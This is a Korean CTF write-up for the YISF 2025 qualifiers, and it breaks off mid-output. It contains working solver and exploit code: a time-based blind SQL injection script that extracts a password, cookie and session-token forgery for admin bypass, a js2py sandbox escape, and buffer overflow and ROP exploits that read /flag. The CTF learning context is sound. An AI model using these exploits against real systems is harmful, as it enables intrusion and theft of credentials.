# YISF 2025 Quals | write-up
## MISC
### Hello, YISF
처음에는 사진에 있는 `향설생활관1`이 정답인 줄 알았지만 7글자라 해서 찾아보니 `향설생활관1관`이었다.
**FLAG : YISF{순천향대학교_향설생활관1관}**
<br>
### FRR2MA
RSA의 취약점을 이용한 공격으로 보이는데, F로 시작하는 공격들을 찾아보니 `Franklin-Reiter Related Message Attack`이 있었다.
이 취약점은 선형 관계인 `M1`과 `M2`의 암호화된 값인 `c1`, `c2`를 안다면 암호화된 값에서도 선형 관계가 나타나기 때문에 두 값을 알아낼 수 있다.
<br>
이 문제 또한 `related_key_int = (2 * key_int + 1) % n` 이 부분을 보면 선형 관계인 두 값(`related_key_int`, `key`)이 있고, 이 둘을 암호화한 값인 `c1`과 `c2` 또한 주어진다.
플래그는 `key` 값으로 `AES` 암호화된 값이기 때문에 `key` 값을 구하여 복호화 할 수 있다.
<br>
```python=
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
from Crypto.Cipher import AES
from sympy import integer_nthroot
n = 110790383562224253098510939599833933412428635357837953728395109179813960729182816107988681436513743812819358361106923862730885343138633519926798065820463768625037480979941578471147298188077046651038356798626165262785021225924385199218137272470067134655209051616396196905472279764342469817762560739073895016319
e = 3
c1 = 4610221918541732456982225818778964440222694135208177035261128329594842025185271874296613353670426002500580058027573
enc_hex = "c7b357b8147b2c1aab85b8303a62019834a5e832cc16b52b598772734a90660562c881c06b74ca4cbea351e07c9e4435"
key_int, exact = integer_nthroot(c1, 3)
assert exact
key = long_to_bytes(int(key_int), 16)
aes_key = sha256(key).digest()[:32]
cipher = AES.new(aes_key, AES.MODE_ECB)
flag = cipher.decrypt(bytes.fromhex(enc_hex)).rstrip(b"\x00")
print(flag.decode())
```
**FLAG : YISF{you_Know?_frAnK11N_477CK_CryptO}**
<br>
### apple_game_crypto

재미있는 사과 게임에서 50점을 달성하면 Google Drive 링크에서 두 png 파일을 준다.
<br>
별 다른 정보도 없이 암호를 해독하라고 해서 조금 헤매다가, 두 파일의 크기가 같은 것을 보고 서로의 RGB 값을 XOR 연산을 해보았더니 플래그가 나왔다.
```python=
from PIL import Image
import numpy as np
img1 = Image.open('image_A.png').convert('RGB')
img2 = Image.open('image_B.png').convert('RGB')
width = min(img1.width, img2.width)
height = min(img1.height, img2.height)
img1 = img1.resize((width, height))
img2 = img2.resize((width, height))
arr1 = np.array(img1)
arr2 = np.array(img2)
xor_result = np.bitwise_xor(arr1, arr2)
result_img = Image.fromarray(xor_result)
result_img.save('out.png')
result_img.show()
```
<br>

**FLAG : YISF{0hh!_y0ur_v3ry_g00d_4ppl3_g4m3_4nd_rgb_x0r}**
<br>
### Applelephant

사진을 입력받아서 `mse(Mean Squared Error, 평균 제곱 오차)`를 계산하여 `predicted_class_name == 'apple' and confidence > 0.95`와 `mse < 0.01 and mse > 0` 두 조건을 모두 만족하면 플래그를 출력한다.
<br>
```python=
import tensorflow as tf
import numpy as np
from PIL import Image
model = tf.keras.models.load_model('applelephant.h5')
arr = np.array(Image.open('elephant.jpg').convert('RGB').resize((224, 224))) / 255.0
x0 = tf.constant(arr[None, ...], tf.float32)
x = tf.Variable(x0)
eps = 0.08
alpha = 0.01
for _ in range(300):
with tf.GradientTape() as t:
t.watch(x)
p = tf.nn.softmax(model(x, training=False))
loss = tf.reduce_mean(-tf.math.log(tf.clip_by_value(p[:, 0], 1e-6, 1.0)))
g = t.gradient(loss, x)
x.assign_sub(alpha * tf.sign(g))
x.assign(tf.clip_by_value(x, x0 - eps, x0 + eps))
x.assign(tf.clip_by_value(x, 0.0, 1.0))
p_val = tf.nn.softmax(model(x, training=False))[0, 0].numpy()
mse = np.mean((x.numpy()[0] - arr) ** 2)
if p_val > 0.96 and 0 < mse < 0.01:
break
adv = (x.numpy()[0] * 255).astype(np.uint8)
Image.fromarray(adv).save('attack.png')
```
위 코드로 픽셀에 변화를 주면서 `mse`가 0.01을 넘지 않으면서 `predicted_class_name == 'apple'` 조건을 만족하도록 하는 파일을 생성하였다.
<br>

**FLAG : YISF{Wh0_s4ys_3l3ph4nts_c4nt_b3_4ppl3s?_th15_i5_4pp13!}**
<br>
### wallet
`ETH vanity address Brute Force` 문제이다. 난수로 후보 프라이빗키를 만들고, 공개키 · `Keccak-256`로 주소를 계산한 뒤, 제시된 접두/접미 패턴과 맞을 때까지 브루트포스하면 된다.
<br>
```python=
from pwn import remote, context
from coincurve import PublicKey
from eth_hash.auto import keccak
import os, re, time, multiprocessing as mp
HOST = os.getenv("HOST", "211.229.232.98")
PORT = int(os.getenv("PORT", "20799"))
PROCS = int(os.getenv("PROCS", max(1, (os.cpu_count() or 2))))
READ_TIMEOUT = float(os.getenv("READ_TIMEOUT", "8"))
DEBUG = os.getenv("DEBUG", "0") == "1"
context.log_level = "error"
ANSI = re.compile(r'\x1b\[[0-9;]*[A-Za-z]')
RULE = re.compile(r"(starting|ending)\s+with\s+(?:['\"])?(?:0x)?([0-9a-fA-F]+)(?:['\"])?", re.I)
ROUND = re.compile(r"round\s+(\d+)\s*/\s*(\d+)", re.I)
def worker(mode, pat, q, stop):
chk = (lambda a: a.startswith(pat)) if mode == "starting" else (lambda a: a.endswith(pat))
while not stop.is_set():
for _ in range(2048):
priv = os.urandom(32)
try:
pub = PublicKey.from_valid_secret(priv).format(compressed=False)[1:]
addr = keccak(pub)[-20:].hex()
if chk(addr):
q.put(priv.hex()); stop.set(); return
except Exception:
continue
if stop.is_set(): return
if __name__ == "__main__":
try: mp.set_start_method("fork")
except Exception: pass
r = remote(HOST, PORT)
buf = ""; end = time.time() + READ_TIMEOUT
while time.time() < end:
try: chunk = r.recv(timeout=0.5)
except EOFError: break
if not chunk: continue
buf += chunk.decode("utf-8", "ignore")
if "Private key" in buf or ">>> " in buf: break
s = ANSI.sub('', buf.replace('\r','\n'))
m = ROUND.search(s); total = int(m.group(2)) if m else 100
done = max(0, (int(m.group(1)) if m else 1) - 1)
print(f"[Progress] {done}/{total} completed")
while done < total:
s = ANSI.sub('', buf.replace('\r','\n'))
tgt_line = ""
for ln in reversed([x.strip() for x in s.splitlines() if x.strip()]):
if "find a private key" in ln.lower() or "starting with" in ln.lower() or "ending with" in ln.lower():
tgt_line = ln; break
m = RULE.search(tgt_line) or RULE.search(s)
if not m:
if DEBUG: print("PARSE_FAIL:", repr(s[-200:]))
break
mode, pat = m.group(1).lower(), m.group(2).lower()
with mp.Manager() as M:
q, stop = M.Queue(), M.Event()
ps = [mp.Process(target=worker, args=(mode, pat, q, stop)) for _ in range(PROCS)]
for p in ps: p.start()
key = q.get()
stop.set()
for p in ps:
if p.is_alive(): p.terminate()
r.sendline(key.encode())
ok = False
t_end = time.time() + 6
while time.time() < t_end:
try: line = r.recvline(timeout=0.8).decode("utf-8", "ignore")
except EOFError: break
if not line: break
print(line.strip())
low = line.lower()
if "proceeding to the next round" in low or "[!] correct" in low:
ok = True; break
if "congratulations" in low or "flag:" in low:
ok = True
if not ok:
print("[!] Stopped."); break
done += 1
print(f"[Progress] {done}/{total} completed ({done*100/total:.1f}%)")
if done >= total:
t_end = time.time() + 5
while time.time() < t_end:
try: ln = r.recvline(timeout=0.8).decode("utf-8", "ignore")
except EOFError: break
if not ln: break
print(ln.rstrip())
break
buf = ""; end = time.time() + READ_TIMEOUT
while time.time() < end:
try: chunk = r.recv(timeout=0.5)
except EOFError: break
if not chunk: continue
buf += chunk.decode("utf-8", "ignore")
if "Private key" in buf or ">>> " in buf: break
```
위 코드를 `PROCS=10 python3 wallet.py` 명령으로 실행하였다.
```
[***] Congratulations! You have passed all rounds! [***]
FLAG: b'YISF{Foundry_IS_4_Bl4zing_F4s7_pOr7aB1E_AND_moDu1Ar_7OOlkit!!}'
```
**FLAG : YISF{Foundry_IS_4_Bl4zing_F4s7_pOr7aB1E_AND_moDu1Ar_7OOlkit!!}**
<br>
## WEB
### OldMyBlog
```python
@app.route("/flag", methods=["GET"])
@require_xhr_or_fetch
def flag():
return FLAG
```
위 코드를 보면 `@require_xhr_or_fetch` 데코레이터를 확인할 수 있는데, 이 데코레이터는 `X-Requested-With`, `Accept`, `Sec-Fetch-Mode` 값만 보고 `AJAX` 요청인지 판단하게 된다.
<br>
따라서 아래 코드로 `Accept: application/json` 헤더를 추가하면 우회할 수 있다.
```javascript
fetch('/flag', {
headers: { 'Accept': 'application/json' }
})
.then(r => r.text())
.then(alert)
```
<br>

**FLAG : YISF{flag_xss_markdown_xss}**
<br>
### Escape Box
```javascript
@app.route('/js', methods=['GET', 'POST'])
def js():
if not required_login():
return redirect(url_for("login", error="Login required"))
result = ''
code = ''
if request.method == 'POST':
code = request.form.get('code')
try:
old_stdout = sys.stdout
sys.stdout = io.StringIO()
context = js2py.EvalJs()
def safe_importer(module_name):
allowed_modules = ['vuln']
if module_name in allowed_modules:
return __import__(module_name)
return FakeModule(module_name)
def js_import_wrapper(name):
if hasattr(name, 'to_python'):
name = name.to_python()
return safe_importer(name)
context = js2py.EvalJs()
context.__import__ = js_import_wrapper
context.require = js_import_wrapper
context.execute(code)
result = sys.stdout.getvalue().strip()
if not result:
result = "[+] Executed. No output."
except PyJsException as e:
result = f"[!] Error: {str(e)}"
except Exception as e:
result = f"[!] Error: {e}"
finally:
sys.stdout = old_stdout
return render_template("jsbox.html", result=result, code=code)
```
위 코드를 보면 `/js`에서 `js2py`로 서버에서 사용자 입력을 실행한다. `vuln` 모듈만 허용해준 걸 볼 수 있는데, 따라서 `__import__('vuln')`로 서버 내부 파이썬 모듈을 그대로 호출할 수 있다.
<br>
```javascript
var v = __import__('vuln');
v.admin_account();
throw new Error(v.get_account(1));
```
`/js`에서 위 명령어를 실행하면 base64 인코딩된 admin 계정이 출력된다.

<br>
admin 계정으로 로그인하면 플래그가 출력된다.

**FLAG : YISF{35c4p3d_j5_s4ndb0x_v1a_js2py}**
<br>
### Tralalero Tralala

<br>
```javascript
const isAdmin = request.cookies.get('admin')?.value;
if (url.pathname.startsWith('/admin')) {
if (!isAdmin) {
return NextResponse.redirect(new URL('/?error=You are not Tralalero Tralala', request.url));
}
}
```
`middleware.js` 파일의 코드를 보면 `admin`이라는 이름의 쿠키와 값이 존재하는지 여부만 검증하기 때문에 admin이라는 이름의 쿠키를 만들어서 `/admin/secret`에 접속하면 플래그가 출력된다.

**FLAG : YISF{Tra1a1er0_Tra1a1a_midd1eware_bypass}**
<br>
### Session_Recipe

```go
err := db.DB.
Where(fmt.Sprintf("user_id='%s'", username)).
First(&user).Error
```
로그인 페이지가 있는데, 위 코드를 보면 입력을 그대로 SQL 리터럴에 삽입하기 때문에 SQLI가 가능하다. 하지만 `WHERE` 문 안에 Injection 되기 때문에 `Blind SQL Injection`을 통해 패스워드를 알아내야 한다.
<br>
```python
import requests, time
B = "http://211.229.232.98:20511/login"; T = 20
def t(p):
t0 = time.time(); requests.post(B, data={"username":p,"password":"x"}, timeout=T); return time.time()-t0
def slowp(cond): return f"superuser' AND (SELECT CASE WHEN {cond} THEN hex(zeroblob(5e8)) ELSE 1 END)--"
base = t("superuser' AND 1=0--"); slow = t(slowp("1=1")); thr = (base+slow)/2
pw = ""; L = 50
for i in range(1, L+1):
if (i-1) % 5 == 0: base, slow = t("superuser' AND 1=0--"), t(slowp("1=1")); thr = (base+slow)/2
lo, hi = 33, 126
while lo < hi:
mid = (lo+hi+1)//2
p = slowp(f"unicode(substr((SELECT user_pw FROM users WHERE user_id='superuser'), {i}, 1)) >= {mid}")
dt = sorted([t(p) for _ in range(3)])[1]
if dt > thr: lo = mid
else: hi = mid-1
pw += chr(lo); print(f"[{i}/50] {pw}", flush=True)
print("[PW]", pw)
```
`pw : N]A<$tt(+F!o@{8K4MLGyH<jAr#{D9_6];}xVaVaq$5p|{Hyyv`
<br>

`superuser`로 로그인을 해도 `Admin Panel`에서 `session_id`를 검증하기 때문에 플래그를 얻을 수 없다.
`session_id`는 앞 8바이트는 `Login Time`의 Unix 나노초를 빅 엔디안으로 패킹하고 아무 8바이트에 base64로 인코딩한 뒤 끝에 @T를 붙이면 된다.
```python
import base64, struct, os, datetime
t = datetime.datetime.fromisoformat("2025-08-10T18:48:35+00:00")
b = struct.pack(">Q", int(t.timestamp() * 1e9)) + os.urandom(8)
token = base64.b64encode(b).decode().rstrip("=") + "@T"
print(token)
```
<br>

`session_id`를 변경 후 Admin Panel에 접속하면 개발자 도구에서 플래그를 확인할 수 있다.
**FLAG : YISF{s3ss10n_1nj3ct10n_w1th_g0rm_sq71}**
<br>
## Reversing
### jump!

디컴파일된 코드를 보면 v5에는 아무 값도 들어가지 않고, 뭔가 이상함을 알 수 있다.
<br>
```asm
mov [rbp+var_B8], 0
lea rax, format ; "YISF{"
mov rdi, rax ; format
mov eax, 0
call _printf
cmp [rbp+var_B8], 1
jnz short loc_15C1
```
위 코드를 보면 `[rbp+var_B8]`을 넣고 `[rbp+var_B8]`을 1과 비교하여 `jnz`로 분기하는 것을 알 수 있다. 디컴파일이 잘못된 것 같다. `jnz`를 `jz`로 패치하여 중간에 있는 코드를 건너뛰지 않도록 하였다.
<br>
```
t43w00@DESKTOP-PO6TNV7:~$ ./jump
YISF{we1C0Me_TO_yI5F__rEv3rS3_3NgINe3riN9}**
```
**FLAG : YISF{we1C0Me_TO_yI5F__rEv3rS3_3NgINe3riN9}**
<br>
### Verifier

각 블록을 모두 더해 `v3`에 저장하고 `v3`의 4바이트를 2번 반복해 8바이트 키를 생성한다.
name과 이 키를 XOR하여 8바이트 값을 만들고 `s1`이 `unk_2139`와 같지 않으면 종료된다.
<br>

시리얼은 특정 연산을 거쳐 해시값과 비교하여 네 블록 모두 같아야 한다.
<br>
세 번째 함수는 플래그를 동적으로 생성해 호출하는 함수이기 때문에, `serial`과 `name`만 구하면 되기에 분석할 필요는 없다.
```python=
import hashlib
import itertools
import string
target_hashes = [
"3355b58b97617985ad032226043d3008c5dc915288326e0074654ba344f5b471",
"d2c2198d191d3c2f14bba11fe2bb4396bd1dfb7d3df32b70e472d15a72eed13f",
"74515ecf40255d006ecaca61026235e0694b9916be6fbdd62c4581d58664b5b4",
"a77b3237cb73acfb0e31f93694398f8e7dc158edb14552cbede81d9bf3839e86"
]
charset = string.ascii_lowercase + string.digits
def find_block_for_hash(target_hash):
for combo in itertools.product(charset, repeat=4):
block = ''.join(combo)
if hashlib.sha256(block.encode()).hexdigest() == target_hash:
return block
return None
serial_blocks = [find_block_for_hash(h) for h in target_hashes]
serial = "-".join(serial_blocks)
print("Serial : ", serial)
unk_2139 = bytes([0xAC, 0xF5, 0x1C, 0x3E, 0xE7, 0xF4, 0x1B, 0x6D])
def block_to_u32_le(block):
b = block.encode()
return b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)
vals = [block_to_u32_le(b) for b in serial_blocks]
v3 = sum(vals) & 0xFFFFFFFF
key_bytes = bytes([(v3 >> (8*i)) & 0xFF for i in range(4)] * 2)
name_bytes = bytes([u ^ k for u, k in zip(unk_2139, key_bytes)])
name = name_bytes.decode('ascii')
print("Name : ", name)
```
<br>
```
t43w00@DESKTOP-PO6TNV7:~$ python3 solve.py
Serial : 312a-91ac-41ca-5132
Name found : y15f2025
t43w00@DESKTOP-PO6TNV7:~$ ./verify y15f2025 312a-91ac-41ca-5132
YISF{6eb5632b9271329694aa196d7f27eb0ccd653407bfa45271efe86433747c02f75a761b8c35a62a48bade6853b9fd46f43b82edaf9d53e939388202634f541da9}
```
**FLAG : YISF{6eb5632b9271329694aa196d7f27eb0ccd653407bfa45271efe86433747c02f75a761b8c35a62a48bade6853b9fd46f43b82edaf9d53e939388202634f541da9}**
<br>
### ANGRybird
서버에 접속해보니 오토 리버싱 문제였고, 문제 제목을 보니 ANGR을 이용한 풀이라는 것을 알 수 있었다.
angr을 사용하여 자동으로 문제를 풀이하는 솔버를 통해 풀이하였다.
입력값의 길이를 짧은 값부터 시도하면 짧은 값 중에 조건을 만족하는 값이 생겨 중간에 틀릴 수 있기에 긴 값부터 시도하도록 하였다.
```python
from pwn import *
import angr, claripy
import os, re, base64, time
HOST, PORT = "211.229.232.98", 20401
BAD = b"WRONG"
def find_and_consume_elf(buf, gate_num):
start_pat = f"--- GATE {gate_num} ---".encode()
end_pat = b"INPUT>"
sidx = buf.find(start_pat)
if sidx < 0:
return None, buf
nl = buf.find(b"\n", sidx)
sidx = nl + 1 if nl != -1 else sidx + len(start_pat)
eidx = buf.find(end_pat, sidx)
if eidx < 0:
return None, buf
b64 = buf[sidx:eidx]
b64 = re.sub(rb'\x1b\[[0-9;]*m', b'', b64)
b64 = re.sub(rb'[\r\n\t ]+', b'', b64)
elf = base64.b64decode(b64, validate=False)
assert elf[:4] == b'\x7fELF', "not ELF"
return elf, buf[eidx + len(end_pat):]
def recv_elf_for_gate(io, gate_num, buf=b"", soft_timeout=0.6, hard_deadline=6.0):
t0 = time.time()
while time.time() - t0 < hard_deadline:
elf, buf = find_and_consume_elf(buf, gate_num)
if elf:
return elf, buf
try:
chunk = io.recv(8192, timeout=soft_timeout) or b""
except EOFError:
raise RuntimeError(f"Connection closed by server during GATE {gate_num} ELF recv")
buf += chunk
raise RuntimeError(f"ELF capture timeout for GATE {gate_num}")
def drain_after_submit(io, next_gate_num, buf=b"", soft_timeout=0.6, hard_deadline=3.0):
t0 = time.time()
next_marker = f"--- GATE {next_gate_num} ---".encode()
acc_print = b""
while time.time() - t0 < hard_deadline:
if b"WRONG" in buf:
acc_print += buf
return "wrong", b"", acc_print
if next_marker in buf:
return "next", buf, acc_print or buf
if b"OK" in buf:
acc_print += buf
return "ok", b"", acc_print
try:
chunk = io.recv(8192, timeout=soft_timeout) or b""
except EOFError:
return "closed", b"", acc_print
buf += chunk
acc_print += chunk
return "timeout", buf, acc_print
def solve_with_angr(path, minL=6, maxL=10, timeout=2.0, ok_tokens=None):
proj = angr.Project(path, auto_load_libs=False)
def try_solve(printable):
for L in range(maxL, minL - 1, -1):
x = claripy.BVS("x", 8*L)
nl = claripy.BVV(b"\n")
st = proj.factory.full_init_state(stdin=x.concat(nl))
for i in range(L):
b = x.get_byte(i)
if printable:
st.solver.add(b >= 0x20, b <= 0x7e)
else:
st.solver.add(b != 0x00, b != 0x0a, b != 0x0d)
sim = proj.factory.simulation_manager(st)
def is_ok(s):
out = s.posix.dumps(1)
return any(tok in out for tok in ok_tokens) if ok_tokens else (b"ROUND1_OK" in out)
def is_bad(s): return BAD in s.posix.dumps(1)
sim.explore(find=is_ok, avoid=is_bad, timeout=timeout)
if sim.found:
key = sim.found[0].solver.eval(x, cast_to=bytes)
if len(key) == L:
return key
return None
key = try_solve(printable=True)
if key is None:
key = try_solve(printable=False)
return key
def main():
LMIN, LMAX, TIMEOUT = 6, 10, 4.0
ROUNDS = 50
io = remote(HOST, PORT)
buf = b""
for gate in range(1, ROUNDS+1):
elf, buf = recv_elf_for_gate(io, gate, buf)
fname = f"gate{gate}_{int(time.time())}.elf"
with open(fname, "wb") as f:
f.write(elf)
os.chmod(fname, 0o755)
ok_tokens = [b"ROUND1_OK", f"ROUND{gate}_OK".encode()]
key = solve_with_angr(fname, minL=LMIN, maxL=LMAX, timeout=TIMEOUT, ok_tokens=ok_tokens)
log.success(f"[GATE {gate}] saved={fname} key={key!r}")
io.send(key + b"\n")
status, buf, text = drain_after_submit(io, gate+1, buf)
if text:
try: print(text.decode(errors="ignore"))
except: print(repr(text))
if status in ("wrong", "closed"):
log.warning(f"Stopping at GATE {gate}: status={status}")
break
if status == "timeout":
log.warning(f"[GATE {gate}] no clear result before timeout; continuing with buffered data...")
try:
tail = io.recvrepeat(1.0)
if tail:
print(tail.decode(errors="ignore"))
except EOFError:
pass
io.close()
if __name__ == "__main__":
main()
```
<br>
```
GATE 50 CLEAR!!!
CONGRATS! Here is your flag:
YISF{d1d_y0u_kn0w_4n6rrrrr?}
```
**FLAG : YISF{d1d_y0u_kn0w_4n6rrrrr?}**
<br>
### too many functions

코드의 마지막 부분을 보면 입력값의 변환된 134 바이트를 비교하는 것을 알 수 있다.
<br>
동적 분석으로 입력값이 어떻게 변화하는지 보면 `AAAA...`를 입력했더니 `CCCC...`, `((((...`와 같이 모든 인덱스가 같이 변화하는 것을 확인할 수 있었다.

<br>
따라서 마지막에 비교하는 값의 첫 5바이트인 `SsGm\`과 마지막 바이트 `\033`이 `YISF{...}`와 되어야 한다.
<br>
```python=
from z3 import *
data = b"SsGm\027-\213\213\217'+\217\223'\217+'\211'\201-\211\217\221\203+'#\215\217\213\213-+\213\213\215\217+\205\203\221\201\215)'\215\223\205\221#\223\203%\213-'-\205\223\215\205+\205\207\211%\221\221-\215\205\221%\215''\217\223\205%%\201\211\211\203#\203\213--%\223\211#\207%\217'\205\211)\221-\223)\211\221\213+-'\215\207\215\213\223)\203'\213\205\205'\215)'\221%)-\221#\033"
def ror_var(x, r: IntNumRef):
e = If(r == 0, x, RotateRight(x, 1))
for i in range(2, 8):
e = If(r == i, RotateRight(x, i), e)
return e
r = Int('r')
p = BitVec('p', 8)
m = BitVec('m', 8)
c = BitVec('c', 8)
q = BitVec('q', 8)
N = len(data)
Y = [BitVec(f"Y{i}", 8) for i in range(N)]
s = Solver()
s.add(And(r >= 0, r <= 7))
s.add((c & (~m)) == c)
prefix = b"YISF{"
for i, ch in enumerate(prefix):
s.add(Y[i] == BitVecVal(ch, 8))
s.add(Y[-1] == BitVecVal(ord('}'), 8))
for i in range(len(prefix), N - 1):
yi = Y[i]
s.add(Or(And(yi >= BitVecVal(ord('0'), 8), yi <= BitVecVal(ord('9'), 8)),
And(yi >= BitVecVal(ord('a'), 8), yi <= BitVecVal(ord('f'), 8))))
for i, b in enumerate(data):
X = BitVecVal(b, 8)
s.add(Y[i] == (ror_var(((X ^ p) & m) | c, r) ^ q))
if s.check() != sat:
print("unsat")
exit(1)
model = s.model()
rv = model[r].as_long()
pv = model[p].as_long()
mv = model[m].as_long()
cv = model[c].as_long()
qv = model[q].as_long()
def ror(b, r_):
r_ %= 8
return ((b >> r_) | ((b << (8 - r_)) & 0xFF)) & 0xFF
plain_bytes = bytes((ror(b ^ pv, 0) for b in b""))
decoded = bytes(
(ror(((b ^ pv) & mv) | cv, rv) ^ qv) for b in data
)
print(decoded.decode('ascii'))
```
여러 비트 연산을 해서 플래그 포맷과 일치하는 피연산자 값을 `z3`로 구해 다른 값들에도 연산해주었다.
<br>
```
t43w00@DESKTOP-PO6TNV7:~$ python3 solve.py
YISF{f557ce79c7ec4c0f4781eca6755fe5567e21806dc6928a91b5fcf2962e234b88f628b6cc792bb0441a15ffb94a3b7c24d8f9d485efc63659d1c522c6dc8bdf8a}
```
**FLAG : YISF{f557ce79c7ec4c0f4781eca6755fe5567e21806dc6928a91b5fcf2962e234b88f628b6cc792bb0441a15ffb94a3b7c24d8f9d485efc63659d1c522c6dc8bdf8a}**
<br>
## PWN
### Pheidole Noda

`read`에서 BOF가 터진다.
<br>

플래그를 출력해주는 함수가 있어서 이 함수의 주소로 `ret`를 덮으면 될 것 같다.
<br>
```python
from pwn import *
r = remote('211.229.232.98', 20301)
payload = b'A' * 120 + p64(0x4011fe - 8)
r.send(payload)
r.interactive()
```
```
t43w00@DESKTOP-PO6TNV7:~$ python3 exploit.py
[+] Opening connection to 211.229.232.98 on port 20301: Done
[*] Switching to interactive mode
=============== AOF =============
[>] Welcome to the ant colony!
[>] You can relocate ants....
[>] Pls ants relocate new colony!!
> YISF{w0rk3r_4nt5_f0und_n3w_h0m3}
[*] Got EOF while reading in interactive
$
```
**FLAG : YISF{w0rk3r_4nt5_f0und_n3w_h0m3}**
<br>
### Simple_SP

첫 번째 함수에서는 첫 번째 `read`에서 BOF가 터져서 9바이트 입력하면 canary leak을 할 수 있다.
<br>

<br>
```python=
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
elf = ELF('./Simple_SP')
libc = ELF('./libc.so.6')
# io = process('./Simple_SP')
io = remote('211.229.232.98', 20302)
def q(blob, off): return u64(blob[off:off+8]) if off+8 <= len(blob) else None
# canary leak
io.recvuntil(b'Enter your payload:')
io.send(b'A' * 9)
io.recvuntil(b'You entered: AAAAAAAAA')
canary = u64(b'\x00' + io.recv(7))
# canary restore
io.send(b'A' * 8 + p64(canary))
io.recvuntil(b'You entered: ')
io.recvline()
io.send(b'B'*8 + p64(canary))
io.recvuntil(b'read address: ')
read_addr = int(io.recvline().strip(), 16)
libc_base = read_addr - libc.symbols['read']
libc.address = libc_base
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi','ret']).address
pop_rsi = rop.find_gadget(['pop rsi','ret']).address
pop_rdx_r12 = rop.find_gadget(['pop rdx','pop r12','ret']).address
leave_ret = rop.find_gadget(['leave','ret']).address
g_xchg = rop.find_gadget(['xchg rax, rdi','ret'])
g_mov = rop.find_gadget(['mov rdi, rax','ret'])
movfd = g_xchg.address if g_xchg else (g_mov.address if g_mov else None)
read_fn = libc.symbols['read']
open_fn = libc.symbols['open']
write_fn = libc.symbols['write']
bss = libc.bss() + 0x800
new_rbp = bss + 0x600
pathbuf = bss + 0x200
outbuf = bss + 0x400
size_p = 0x20
size_r = 0x200
stage2 = b''
stage2 += p64(new_rbp)
# read(0, pathbuf, size_p)
stage2 += p64(pop_rdi) + p64(0)
stage2 += p64(pop_rsi) + p64(pathbuf)
stage2 += p64(pop_rdx_r12) + p64(size_p) + p64(0)
stage2 += p64(read_fn)
# open(pathbuf, 0, 0)
stage2 += p64(pop_rdi) + p64(pathbuf)
stage2 += p64(pop_rsi) + p64(0)
stage2 += p64(pop_rdx_r12) + p64(0) + p64(0)
stage2 += p64(open_fn)
# rdi = fd (rax) or fallback 3
if movfd:
stage2 += p64(movfd)
else:
stage2 += p64(pop_rdi) + p64(3)
# read(fd, outbuf, size_r)
stage2 += p64(pop_rsi) + p64(outbuf)
stage2 += p64(pop_rdx_r12) + p64(size_r) + p64(0)
stage2 += p64(read_fn)
# write(1, outbuf, size_r)
stage2 += p64(pop_rdi) + p64(1)
stage2 += p64(pop_rsi) + p64(outbuf)
stage2 += p64(pop_rdx_r12) + p64(size_r) + p64(0)
stage2 += p64(write_fn)
size_stage2 = len(stage2)
io.recvuntil(b'Enter your payload:')
prefix = b'A'*8 + p64(canary) + p64(bss)
stage1 = (
p64(pop_rdi) + p64(0) +
p64(pop_rsi) + p64(bss) +
p64(pop_rdx_r12) + p64(size_stage2) + p64(0) +
p64(read_fn) +
p64(leave_ret)
)
payload1 = (prefix + stage1).ljust(0x68, b'\x00')
io.send(payload1)
io.send(stage2)
sleep(0.03)
io.send(b'/flag\x00'.ljust(size_p, b'\x00'))
io.interactive()
```
```
t43w00@DESKTOP-PO6TNV7:~$ python3 exploit.py
[*] '/home/t43w00/Simple_SP'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
[*] '/home/t43w00/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Opening connection to 211.229.232.98 on port 20302: Done
[*] Loaded 219 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
You entered: AAAAAAAA
YISF{5imp13_sp_is_v33eEEry_eAsy,_r1gh7?}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x